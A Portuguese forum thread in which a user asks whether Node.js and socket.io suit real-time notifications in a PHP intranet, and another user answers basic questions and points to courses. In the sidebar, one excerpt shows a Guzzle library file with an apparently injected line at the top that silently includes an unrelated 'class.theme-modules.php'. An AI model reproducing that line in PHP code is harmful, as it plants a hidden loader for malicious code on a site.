Ir para conteúdo
wessleysanttos

Node.js é a melhor solução ?

Recommended Posts

Seguinte, atualmente eu preciso montar um sistema de notificação, como por exemplo em uma intranet, um usuário fez uma ação eu preciso disparar uma notificação em tempo real. 

O projeto ja esta uns 80% feito com PHP, jQuery e CSS atualmente.

Apos varias pesquisa eu acho que o modulo socket.io do Node.js pode resolver minha atual situação. Masss, tenho algumas duvidas em relação ao mesmo que não consegui resolver lendo alguns artigos sobre o assunto, então caso alguém consegui tirar essas duvidas, que são elas:

 

- Eu li que o node.js roda ao lado do servidor, eu preciso instalar alguma coisa no servidor web para ele rodar?

- Tem problema usar jQuery e node.js juntos?

- O node.js consegue fazer o papel do jQuery?

- Oque exatamente é um socket? 

 

Eu já li alguns artigos e vi alguns videos que tirou muitas duvidas, mas essas são as que não ficaram clara para mim.

Compartilhar este post


Link para o post
Compartilhar em outros sites
Citar

- Eu preciso instalar alguma coisa no servidor web para ele rodar?

precisa instalar "ele mesmo" o NodeJS no servidor.

 

Citar

- Tem problema usar jQuery e node.js juntos?

não, nenhum problema.

 

Citar

- O node.js consegue fazer o papel do jQuery?

Não, NodeJS é server-side, faz o papel do PHP.

 

Citar

- Oque exatamente é um socket? 

pense em socket como uma ponte de conexão.

 

E sim, no teu caso para real time, o NodeJS é a melhor ferramenta.

  • +1 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

@William Bruno , Tenho algumas outras duvidas, se puder me responder. 

 

1 - Eu posso usar PHP na minha aplicação inteira e em uma parte especifica utilizar o nodeJS para uma finalidade real-time?

2 - Sabe de algum conteúdo online para estudos? Achei alguns cursos online, porém alguns ficam no basicão e outros que tratam assuntos mais complexo eu sinto que não explica de forma esclarecedora. 

3 - A data deste curso http://ctnovatec.com.br/cursos/trilha-front-end/curso-de-nodejs/ , esta para breve, mas você sabe quando mais ou menos que vai ser lançado?

 

E para complementar eu vou comprar este livro https://novatec.com.br/livros/nodejs/ em breve para estudos. 

Compartilhar este post


Link para o post
Compartilhar em outros sites

1. Sim, mas tenha em mente que serão 2 aplicações diferentes e distintas.

2. Não, eu prefiro muito mais ler livros.

3. Terá este outro: http://ctnovatec.com.br/cursos/trilha-front-end/stack-mean/ que tem o mesmo conteúdo do de NodeJS + AngularJS (por isso 24h, em vez de 16h).

 

 

bacana, obrigado =)

  • +1 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar Agora


  • Conteúdo Similar

    • Por aantunesl
      Por gentileza pessoal, acabo de instalar um sistema em minha hospedagem, mas esta apresentando este erro:

      Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in public_html/project/vendor/guzzlehttp/promises/src/functions.php on line 1
       
      <?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php namespace GuzzleHttp\Promise; function queue(TaskQueueInterface $assign = null) { static $queue; if ($assign) { $queue = $assign; } elseif (!$queue) { $queue = new TaskQueue(); } return $queue; }  

      Alguem sabe como resolver esta questão?
      Agradeço.
    • Por ndias
      Tenho uma aplicação web hospedada num Cloud Windows na locaweb rodando PHP 5.3 com banco de dados sql server.
       
      Eu programo no modo procedural. Gostaria de obter indicações de framework, uma vez que nunca utilizei e tenho pouca familiaridade com orientação a objetos.
    • Por Roberto Messa
      Fiz um framework e vou colocar como código aberto.   qual a melhor forma de fazer isto p q ele fique famoso rapido?   quais as recomendações para que o framework seja bem sucedido?   https://docs.google.com/presentation/d/1RW5CeBnO00WEJQqG3ybegCNJRo-Ng7Pgbb1_GkuejtM/edit?usp=sharing
    • Por quimera
      Como seria a estrutura do painel administrativo de um site (apesar de já ter feito um painel), ainda tenho dúvidas em relação a esta parte essencial do sistema.
      Ele deveria ser dinâmico levando em conta adicionar funcionalidades ou seria mais estático tendo somente as específicas daquele site em específico?
       - O que dá mais/menos trabalho?
       - Usar uma framework vai ser um tiro no pé (caso seja descontinuada/desatualizada)?
       - Criar o próprio sistema visando acréscimo de plugins/extensões é uma boa?
    • Por GalaxyQuasar
      Olá a todos, perdão se postei na área incorreta pois ainda sou novo no fórum. Meu nome é Kayky Vitor Cruz e eu sou um estudante de JavaScript, há algum tempo venho desenvolvendo um projeto que planejo melhorar cada vez mais, o mesmo consiste em uma mescla de biblioteca de funções em Js que torna a programação da linguagem mais simples com uma espécie de framework que permite criar objetos de outros linguagens simples da web (como VBScript, CSS e HTML) direto no script de maneira limpa e agradável para o programador. Eu criei um blog simples com informações feitas em inglês para que eu pudesse pedir o feedback de usuários do Reddit também. Peço que os usuários mais experientes ou aqueles que realmente queiram avaliar meu trabalho testem o projeto, o mesmo vem com um arquivo contendo todas as informações sobre as funções disponíveis e as variáveis alocadas para o funcionamento do script. http://ultrapluginjs.blogspot.com.br/?m=1 Muito obrigado a todos pela atenção e possível colaboração, o projeto está completo e eu já testei todas as funções, porém existem algumas que ainda estão em desenvolvimento e por isso inseri a informação de que está em testes alfa.
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.